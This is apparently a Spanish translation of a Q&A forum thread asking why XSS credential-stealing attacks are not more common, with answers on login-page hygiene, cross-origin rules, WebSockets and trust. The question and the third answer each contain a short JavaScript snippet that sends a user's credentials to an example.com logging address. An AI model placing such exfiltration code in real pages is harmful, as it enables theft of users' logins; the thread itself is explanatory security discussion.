¿Por qué no estamos todos comprometidos en internet?

Question

¿Por qué no estamos todos comprometidos en internet?

#1 de Tom Leek (4 votos)
#2 de AJ Henderson (1 votos)
#3 de Philipp (1 votos)
#4 de svidgen (0 votos)

2

Bueno, he estado pensando en esto por un tiempo ahora.

En la última década, hemos utilizado varias formas de hacer que nuestros sitios web parezcan dinámicos y en vivo . Por ejemplo, en JavaScript, es bastante fácil enviar datos a un servidor remoto utilizando AJAX , incluso más fácil con Websockets .

Ejemplo para algunos AJAX maliciosos :

   xmlHttp = new XMLHttpRequest();
   function process() {
     var secret = getCredentials();
     if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
        xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
        xmlHttp.send(null);
     }
     else
        setTimeout("process()", 1000);
    }

Además, es muy probable que todos estén de acuerdo conmigo en que el manejo de las opiniones de los usuarios es una tarea muy común que se puede lograr usando solo unas pocas líneas de JavaScript.

Entonces, ¿por qué no vemos que ningún aficionado intente realizar ataques XSS que intenten enviar nuestra entrada de teclado a un servidor web en segundo plano para recuperar nuestros datos de inicio de sesión?

¿Por qué parece que no sufrimos permanentemente este tipo de ataques en cada cuarto sitio web que visitamos, lo que nos obliga a cambiar nuestras credenciales de inicio de sesión en períodos de tiempo extremadamente cortos?

¿Todos nuestros sitios web están tan bien protegidos?

TL; DR : ¿Por qué no necesitamos cambiar las contraseñas cada pocos días debido a ataques XSS aparentemente triviales?

Editar:

En cuanto a AJAX, parece que HTTP maneja este problema muy bien:

    XMLHttpRequest cannot load http://example.com/logger.php?password.
    No 'Access-Control-Allow-Origin' header is present on the requested
    resource.

Entonces, al menos para las solicitudes HTTP, esto no parece ser un problema. Pero por lo que sé, a los websockets no les importa la fuente a la que se accede, ¿o sí?

http javascript ajax

pregunta 26.03.2014 - 10:56

fuente

4 respuestas

Lea otras preguntas en las etiquetas http javascript ajax

iptables: protección de contraseña de texto simple ¿Puedo usar el DSA de curva elíptica en un servicio de mensajes seguro?

score 4 · Answer 1

La razón número uno por la que no todos estamos comprometidos es que simplemente no hay suficientes atacantes para hacer el trabajo, y la mayoría de ustedes tampoco son objetivos suficientemente interesantes. La civilización en su conjunto puede seguir funcionando porque la mayoría de las personas son básicamente honestas; Puedes caminar en la calle entre extraños y ninguno de ellos intentará darte puñetazos o apuñalarte, a pesar del bajo número de fuerzas policiales. Esto también funciona en Internet.

Ahora, esa razón es también la que explica, mientras que los agujeros de seguridad inducidos por el desarrollo descuidado parecen permitirse a permanecer por años. XSS en última instancia, proviene de desarrolladores de sitios web que no manejan los datos de entrada de los clientes como datos ; reflejan dichos datos al descargarlos sin modificar en las páginas devueltas a otros clientes, un gesto fatídico mediante el cual convierten esos datos en código . Este es un error de diseño, y como tiene consecuencias de seguridad, ese error es una vulnerabilidad.

Sin embargo, las cosas están mejorando gradualmente: ahora, muchos desarrolladores web están al menos conscientes de que armar una página de inicio de sesión segura no es tan fácil como parece. Entre las reglas operativas que los desarrolladores web comienzan a seguir de manera más o menos consciente está la idea de que una "página de inicio de sesión" es algo especial que debe separarse de las "páginas normales" y que, en particular, NO debe contener ningún dato reflejado por el usuario. Muchos programadores no lo expresan de esa manera, ya sea con palabras escritas o en la privacidad de sus mentes, pero aún siguen tales comportamientos "higiénicos" que, como sus homólogos biológicos, son efectivos incluso cuando uno no entiende ellos.

score 1 · Answer 2

En general, las páginas de inicio de sesión no muestran contenido que pueda ser atacado con XSS. No hay una buena manera de alterar el código en esa página para poder monitorear la entrada. Además, en general, la protección XSS es bastante buena en la mayoría de los sitios modernos, al menos en las partes donde podría ser particularmente dañina.

score 1 · Answer 3

La prevención de WebSockets de dominio cruzado es del lado del servidor. Entonces, sí, un ataque XSS exitoso puede crear una conexión websocket a un servidor de terceros y enviar información confidencial. Pero está lejos de ser la única técnica que un ataque XSS puede usar para filtrar información a un servidor de terceros. Tome el siguiente código, por ejemplo:

var password = getCredentials().password;
var account = getCredentials().account; 
new Image('http://www.example.com/l337hax0r/' + account + '_' + password);

Su navegador intentará cargar una imagen con un nombre que incluya su nombre de usuario y contraseña. El sitio web example.com tendría una entrada en su registro de solicitudes con su cuenta y contraseña.

Entonces, "¿por qué no parece que estemos sufriendo permanentemente este tipo de ataques en cada cuarto sitio web que visitamos"? Debido a que los ataques XSS solo son posibles en sitios web que incorporan contenido generado por el usuario. Claro, hoy casi cualquier sitio web lo hace de alguna manera. Pero filtrar el contenido generado por el usuario de una manera que hace imposible incrustar código de script ejecutable en él tampoco es tan difícil. Hay muchas bibliotecas que proporcionan esta funcionalidad.

score 0 · Answer 4

La seguridad de la web depende de la confianza.

Confía en los usuarios para utilizar un navegador seguro. Confía en el navegador para evitar las solicitudes de dominios cruzados a menos que se permita explícitamente (esto parece ser su principal preocupación). Confía en que sus bibliotecas de Twitter, Facebook y jQuery no están haciendo algo nefasto. Y como usuario, es de suponer que usted confía en que solo algunas punto-com sean reales cuidadosas con sus datos, sus prácticas y con quién ellos confían.

También ... como usuario, es probable que no instales barras de herramientas, complementos y "software antimalware" de fuentes en las que no confíes.

Dicho esto, hay muchos usuarios finales que hacen "pierden" sus credenciales. Hay un montón de punto-com que están comprometidos. Uno u otro confía en alguien o algo que no debería haber hecho. O uno de ellos simplemente pasa por alto algo. Incluso los los jugadores principales pueden dejarse abiertos a los ataques XSS .